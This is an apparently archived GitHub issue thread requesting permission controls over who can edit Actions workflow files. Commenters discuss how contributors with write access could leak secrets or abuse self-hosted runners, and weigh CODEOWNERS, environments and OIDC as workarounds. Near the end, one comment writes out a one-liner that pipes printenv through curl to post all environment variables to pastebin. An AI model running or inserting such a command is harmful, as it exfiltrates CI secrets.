A way to manage access around who can edit contents of `.github/workflows/`

[timharris777]

Enhancement: Provide role separation around who can edit contents of .github/workflows/

Reasoning: In an organization setting you have a lot of people who have write access to repositories. Add github actions workflows and secrets manager (think org level secret manager when it is released) and every person with write access could change a workflow file or create a new workflow file to print out the contents of a secret. Being able to limit the people who can edit workflows would be a huge plus in the security front.

@ds0440 @josephshanahan-cfa

[TingluoHuang]

@chrispat from the product team for feedback.

[chrispat]

@timharris777 limiting of editing the workflow file will not help with security. If you are running any code as part of your build and someone can change that code they can potentially export secrets by dumping process memory.

[josephshanahan-cfa]

@chrispat, what you are saying is a helpful callout, but please consider this:

The scope of a secret is limited to a step.

If a secret's scope is limited to a step, then secrets are isolated and contained to that specific step. For example, in our build process the only step that would allow someone to edit it and dump process memory (as you said) is a step that does a ./gradlew build, and this step contains zero secrets. This step builds an artifact and then passes it to another step that deploys the artifact. Only the step that deploys has access to a secret.

This makes me think the enhancement request should also ask for role separation around who can edit contents of the entire .github/ folder. Anything in this directory would be protected from unprivileged editing and the malicious dumping of process memory. Since the .yml files are in this folder and would also be protected, it would not be possible for someone to edit the steps and change the scope of secrets.

[chrispat]

@josephshanahan-cfa the scope of a secret is a job not a step meaning that the secret is active in the memory of the runner for the scope of the job in which it is referenced.

Your gradle example is a great one here as it runs code that is part of the repo that anyone with write access to the repo can modify. This means that they could add something to dump the process memory for the runner which has all of the secrets being used in that job. Have a separation of roles is false security when you are talking about config as code and CI that runs arbitrary code.

[josephshanahan-cfa]

So you are telling me that any 3rd party action can dump all of my secrets, regardless of the step? Could you provide an example for how to do this across steps as you mentioned?

[chrispat]

I am saying that any code you run during your CI could potentially dump all of the secrets that are referenced in the execution scope which is a job. If you are running your job in a container this becomes significantly harder because the runner is not inside that container. However, for platforms like MacOS that don't support containers at all or on Windows where containers are not practical for many CI needs that is not an option.

[josephshanahan-cfa]

Thanks for the response @chrispat, could you please provide an example for how to access secrets across steps in an ubuntu environment that is not using containers?

[chrispat]

@josephshanahan-cfa I am not sure what you mean. Are you asking for an example of how you would dump process memory and then read the strings out of it?

Here is an article on how to dump the process memory of a .NET process https://devblogs.microsoft.com/dotnet/collecting-and-analyzing-memory-dumps/

[josephshanahan-cfa]

Yes, that would be helpful. From the GitHub Actions docs it says:

A job contains a sequence of tasks called steps. Steps can run commands, run setup tasks, or run an action in your repository, a public repository, or an action published in a Docker registry. Not all steps run actions, but all actions run as a step. Each step runs in its own process in the runner environment and has access to the workspace and filesystem. Because steps run in their own process, changes to environment variables are not preserved between steps. GitHub provides built-in steps to set up and complete a job.

https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsteps

This documentation makes it sound like the step runs in its own process. It sounds like you are saying that steps are sharing process memory.

Could you give me an example as you mentioned of dumping process memory and then reading strings out of it? Specifically, where I would be able to see the secrets declared in one step, in another step (All in the same job).

[chrispat]

Steps are run in their own process space and its own process memory, but, they are all run under the same user context and as a user you can read the process memory of other process running in your context. This is essentially how a debugger works, you run the debugger as you and attach to another process. If you are an admin on the machine you can read the memory of essentially any process on the machine.

I don't have a working example right now but I have seen it done.

[bryanmacfarlane]

@chrispat is correct. Essentially it's user code running on a machine as admin. Not really securable. Which means you have to trust who can edit your workflow file or in the case of something like deploys etc, your workflows and scripts could be in another repo than the code / containers being built and tested independently by developers. This is also why we don't send secrets to forks.

[davidkarlsen]

Also one should be critical to actions found on the marketplace. These could steal information and/or do bad actions in general.

[timharris777]

Hey guys, we understand that anyone who can edit the workflow file can possibly dump secret contents.

Our ask is that you provide role based separation of who can edit the contents of the .github/ folder or the .github/workflows folder. For example, looking at the current roles of read, triage, write, maintain, and admin-- maybe the maintain and admin roles could have access to update the folders in question. This would prevent everyone who only has write access to the repo from being able to edit the workflows.

Separately, Gitlab allows per folder permissions in addition to repo level read/write permissions which would solve our issue but Github does not seem to have this capability. Is that on the radar at all?

[peter-murray]

There is the CODEOWNERS feature, https://help.github.com/en/github/creating-cloning-and-archiving-repositories/about-code-owners which you can utilize to apply branch protection rules on a directory, e.g. .github/workflows/ but this is limited to being applied as a review requirement on Pull Requests.

This would block a Pull Request subject to review by the code owner(s), but if an individual has write access it would not block them just committing directly to the branch.

[timharris777]

Yeah, CODEOWNERS is not quite what we are looking for as someone can create a branch and a workflow file that will trigger in that branch without any kind approval.

[timharris777]

Any updates on this? I have engineers in my org asking about it. CODEOWNERS is not a valid solution. I say this because any engineer with write access to the repo can create a branch and have a workflow fire off of pushes to the new branch.

@headljdghub, feel free to provide your thoughts as well.

[timharris777]

Another security concern we have run across with any engineer having an "editor" role and the ability to branch and create/run workflows off of that branch is the following:

Let's say we have a self-hosted runner running in an AWS account, Azure account, or Google account. This repo has access to use that self-hosted runner in order to deploy the application. If we have 200+ developers working on this application then essentially all of those developers have access to do something in the AWS/Azure/Google account via creating their own workflows in a separate branch and having it trigger off of a push event to that specific branch.

This would not be a problem if we could limit what users are able to push to the .github/workflows directory.

Again, gitlab covered this with their folder level permissions. Is this on github's radar or roadmap?

@mikedrexler

[headljdghub]

@timharris777 Thanks for raising the issue with the .github/workflows protection as it relates to self-hosted runners. This particular issue has prevented our team from using GHA and self-hosted runners more broadly.

[mikedrexler]

Hi Team, could you use CODEOWNERS in the root of .github to ensure only an agreed upon group could approve a push to master for .github/workflows directory. Have a look at the guidance at https://docs.github.com/en/github/creating-cloning-and-archiving-repositories/about-code-owners and give me your thoughts?

cc/ @headljdghub @timharris777

[headljdghub]

@mikedrexler The actions on non-master branches would still have access to the self-hosted runners to execute whatever they wanted to. What we are trying to accomplish is to limit the number of people who have access to the privileged self-hosted runners by restricting access to the .github/workflows folder. We would be using the self-hosted runners to deploy applications and create necessary infrastructure so the runner will be pretty highly privileged.

[mikedrexler]

Thank you @headljdghub for the additional context!

Team, thank you in advance for your 👀 on this!

[timharris777]

Any word on this?

1. We have looked at CODEOWNERS and it is not a solution to protect who can create and trigger workflows. Any workflow file in the pull request can be run if triggers are set correctly.
2. We have looked at adopting the fork and submit a pull request back method of contributing and it is also not a solution to protect who can create and trigger workflows. If we enable actions for fork pull requests essentially any workflow in the pull request itself can be run if triggers are set correctly..

The following are possible solutions:

1. https://github.com/actions/runner/issues/494#issuecomment-663871697
2. Adding folder/file level permissions in addition to repo level permissions

Related Issues:

• https://github.com/actions/runner/issues/494
• https://github.com/actions/runner/issues/631

[timharris777]

Hi guys, I just happened to run across this: https://github.com/github/roadmap/issues/111

@mikedrexler, do you know anything about this? Would love to find out more from the product owner. It's possible this would solve our issue.

[peter-murray]

The mentioned roadmap item will not help you in this regard, there is nothing in that feature that will provide limits to editing file under a path in a repository.

The feature will allow you to take a role like say read access and add a permission like create issue to craft a new role that you can assign to users.

[timharris777]

Thanks @peter-murray. Wasn't sure if a new permission would be introduced allowing something similar to this: https://github.com/actions/runner/issues/494#issuecomment-663871697

[mihkelparna1]

Any updates on this? This is a big issue for adoption for anything CD related with GHA.

[xlc]

It will be good if we can just force a repo to use a workflow file from another repo so that we can easily protected the workflow file repo without fine grained permission control on the main repo.

[anderssonjohan]

It will be good if we can just force a repo to use a workflow file from another repo so that we can easily protected the workflow file repo without fine grained permission control on the main repo.

@xlc This is just like (our) old style CI where the "build steps" are defined elsewhere (in Jenkins and in MS TFS Build) and not in a file (.github/workflows, appveyor.yml, Jenkinsfile, travis.yml, circleci.yml, ...) in the branch being checked out.

Having the workflows defined elsewhere can also mean another branch. Similar to what you have with a specific ghpages branch.

Side-note: Limiting what actions to allow does not help much here (https://docs.github.com/en/free-pro-team@latest/github/administering-a-repository/disabling-or-limiting-github-actions-for-a-repository#allowing-specific-actions-to-run). It doesn't prevent creation of a workflow where a secret is posted somewhere using a simple curl command (one do need to know the name of the secrets though).

How would these two suggestions do?

Problem: Allowing GitHub Actions allows anyone with write access to create a pull request with their own workflow Solution: In the repo Actions settings where you control what actions to allow, add the following to constrain the source for the workflow files being run:

Problem: Having only one branch where you can make changes to workflows disallows development of workflows in PR branches Solution: Use branch protections and add a checkbox for overriding the constraint defined above:

Note: This would allow one to have long-lived branches like main and workflows-dev for example. If short-lived branches (using pull requests) are desired then one could use a naming pattern such as actions-* or workflowchanges-* to lessen the burden added to maintain branch protection rules to allow workflow changes.

What do you think @peter-murray ? Would that work with your setup @mihkelparna1 ?

[beckerjohannes]

Actually I find the GitLab Solution on this front pretty smart. In the Secret Defitions ("CI/CD Variables" call in GitLab) you can tick a box "Protected", with protected = Protected variables are only exposed to protected branches or tags.

That means, anybody can mess around in the Pipeline (GitLab Wording for Actions) of his branch, but will not have access to the secrets to actually do something "nasty". These are only available when the branch is merged into a protected branch.

[anderssonjohan]

Actually I find the GitLab Solution on this front pretty smart. In the Secret Defitions ("CI/CD Variables" call in GitLab) you can tick a box "Protected", with protected = Protected variables are only exposed to protected branches or tags.

That means, anybody can mess around in the Pipeline (GitLab Wording for Actions) of his branch, but will not have access to the secrets to actually do something "nasty". These are only available when the branch is merged into a protected branch.

But this doesn't fill the bill, at least not in the scenario where you want to receive PRs and run your workflow with secrets, using the code submitted in the PR branch. We need the secrets to do a proper build but don't want the submitter to be able to modify the workflow itself.

[beckerjohannes]

@anderssonjohan you are right, that would be an even better solution. However, everything would be better than the current situation, where you are forced to remove almost anybody from the Write-Access of a repository, when you want to use the Actions for CD. Suppose the following scenario:

• You have gitflow like branching model with a main-branch for production and a develop for the upcoming release.
• main & develop are protected, so only maintainer can merge into them (strict code review policy) and only maintainer can cut a release (push & merge into main)
• develop should automatically publish every new commit to a staging cluster
• main should publish to production (with a manual workflow trigger).

In github, I have the following problems:

• I have to expose my secrets to everybody with write access to my repository.
• Those have the ability to create workflows that do anything in my staging and production environment.
• And anybody with write access can trigger the "manual" deploy to production workflow.

So if I want to have CD --> Almost nobody can have write access.

In GitLab this is so easy:

• Protected Secrets prevent Develops from doing "evil" things in feature branches.
• Additionally, manual pipelines on branches can only be triggered from people with merge permission.
• Done

I would this addresses 80% of the problems, with having still open the topic of: "I want to run something that requires secrets in a feature branch without exposing a security hole".

[timharris777]

@anderssonjohan, I created a custom app for our org that works with check_run.created webhook event to check if the last person who edited the workflow file that is being run is an admin on the repo. If not the workflow_run is canceled and an issue is opened on the repo. Only workflows that were last edited by a repo admin are allowed to run. It works as a stopgap until github provides something.

[anderssonjohan]

@anderssonjohan, I created a custom app for our org that works with check_run.created webhook event to check if the last person who edited the workflow file that is being run is an admin on the repo. If not the workflow_run is canceled and an issue is opened on the repo. Only workflows that were last edited by a repo admin are allowed to run. It works as a stopgap until github provides something.

Probably good for a workaround but what if the webhook fails to deliver to the app or your app gets rate-limited so it can't cancel the workflow? Not that I would say it would be a great risk of these scenarios but I wouldn't use it as a permanent solution to lock down the workflows. It feels a bit like checking running processes on your computer and kill those that were started by an unauthorized user instead of preventing the unauthorized users to start the processes :)

[timharris777]

@anderssonjohan, agreed. But until Github provides an official solution this is the best I can do. :-)

[PeteMac88]

Hey there, any news here because the missing security features is causing some workarounds for us in our project. Does everyone has a good way of prevent specific roles or users to edit the workflow file and so get access to the repo secrets?

Best regards Peter

[timharris777]

Hey there, any news here because the missing security features is causing some workarounds for us in our project. Does everyone has a good way of prevent specific roles or users to edit the workflow file and so get access to the repo secrets?

Best regards Peter

I ended up creating a custom github app that runs in AWS Lambda that will cancel a workflow run via API based on criteria I specify. Currently the criteria is if the workflow file was last edited by someone who was not a repo admin.

[mikedrexler]

I like that @timharris777 ! Definitely reuseable. Something you can share?

[timharris777]

I like that @timharris777 ! Definitely reuseable. Something you can share?

Yes, @mikedrexler I'll post something back here when I get some extra time.

[syh-rapha]

For those who want to control access to secrets and workflow runs, the new Environment feature might help. https://docs.github.com/en/free-pro-team@latest/actions/reference/environments#referencing-an-environment

[galtonova]

Any updates? It's not just secrets we want to protect. On top of secrets being exposed, we have self-hosted runners on our kubernetes clusters to execute kubectl commands and even our junior devs can run arbitrary commands on those machines if we were to use github actions. We want to give our developers write access so they can create their feature branches. We don't want them to have access to those machines.

Workflow branch idea @anderssonjohan mentioned would be really good. Our main branch is already protected. Right now we are using Jenkins even though we want to use github actions because of that. Run configurations are stored inside jenkins, not in repo, therefore only jenkins admins can edit them.

I'm sure there are many other people having similar concerns about github actions.

[ohsayan]

I'll just add to the crowd here. We have self-hosted M1 machines where we want to run workflows and wouldn't be comfortable having someone else have access to those machines. If I'm not too wrong, isn't the entire 'trigger' thing like a webhook? For example, we can limit the webhook scopes by selecting individual events like pushes; can't we do something similar for self hosted runners?

[timharris777]

Looks like they are moving one step closer. However, it would be nice if we could define criteria around who needs workflow changes approved: https://github.blog/2021-04-22-github-actions-update-helping-maintainers-combat-bad-actors/

@chrispat

[deutmeyerbrianpfg]

Another big concern with not having access controls is that a contributor can change the workflow trigger from on pull request to be on push. That would allow the workflow to run without any approvals! We've configured an environment for the production deployment, however, if someone removed that and changed the trigger to be push, the workflow would run in its entirety, bypassing the approvals.

[rr-nick-tan]

Another big concern with not having access controls is that a contributor can change the workflow trigger from on pull request to be on push. That would allow the workflow to run without any approvals! We've configured an environment for the production deployment, however, if someone removed that and changed the trigger to be push, the workflow would run in its entirety, bypassing the approvals.

true, we have similar concern for some critical projects, the workaround for now is use pull_request_target which runs the workflow of the target branch

[deutmeyerbrianpfg]

Thanks, @rr-nick-tan. I think I'm still in the same boat since pull_request_target is set in the workflow, which means it can also be changed to push, resulting in the same issue.

[galtonova]

Any updates on this?

[pantelis-karamolegkos]

Τhis is a totally indispensable functionality for security purposes.

[kroussou]

Possible workaround is to use OpenID connect with reusable workflows and external secret storage like Azure KeyVault. If you deploy directly to the cloud you may need no secrets at all.

Once you add check for valid job_workflow_ref as part of trust conditions between GitHub and cloud provider, only trusted workflows will be allowed to access secrets or other cloud resources.

[and3rson]

Bump

[tgross35]

Trying to collect from above, it seems like the main possible exploits are:

1. Environment variables are available to all steps in a job rather than a step (maybe? never really seemed to be confirmed)
2. Steps that run on push or PR but need access to secrets (to do that job) are exploitable, for the reason above
3. Windows and macOS runners not being sandboxed, so anything on the runner is exploitable. Possibly also arbitrary code execution on the runner (?)

Of course, to stop these exploits, automatic pipelines could be completely disabled until a code review is performed. But that is completely impractical - the benefit of actions is that linters, test builds, etc can be run with minimal intervention from anyone, and provide immediate feedback.

I think maybe it would be a good idea, if somebody has the time, to set up a demo repo to show what sort of exploits are easily possible. Perhaps a dummy "lint" step that runs on a PR with a "deploy" step that has a secret, or a bit of code in a PR that dumps environment variables to pastebin

Some possible fixes to all this:

• Super easy: builds can still run automatically on a PR, but any workflows where the .github directory changes require an OK from a maintainer. Just something with a message "Hey! contents of .github changed, review this code before continuing the build."
• Hopefully easy: Restrict environment variables to the smallest possible scope. This is probably a good idea anyway.
• Easy: only make secrets available to "protected" branches, as suggested above
• Less easy: get the windows & mac job environments isolated from the runner. For Windows, there are Windows base docker images (which only run on Windows) or Windows Sandbox. MacOS has App Sandbox. Of course, this might not be possible across all versions of software.

Of course, perfect security is terribly difficult, something like the memory dump possibility is definitely a lot less likely to happen than somebody sneaking printenv | curl -X POST -d 'api_dev_key=KEY' -d api_paste_code="$(</dev/stdin)" -d 'api_option=paste' "https://pastebin.com/api/api_post.php" into a 1000 line PR that gets compiled in a "build" step, and shouldn't have the "deploy" step's keys. My first two suggestions are low hanging fruit and should be very doable.

[Edited right after posting, had some needed clarifications[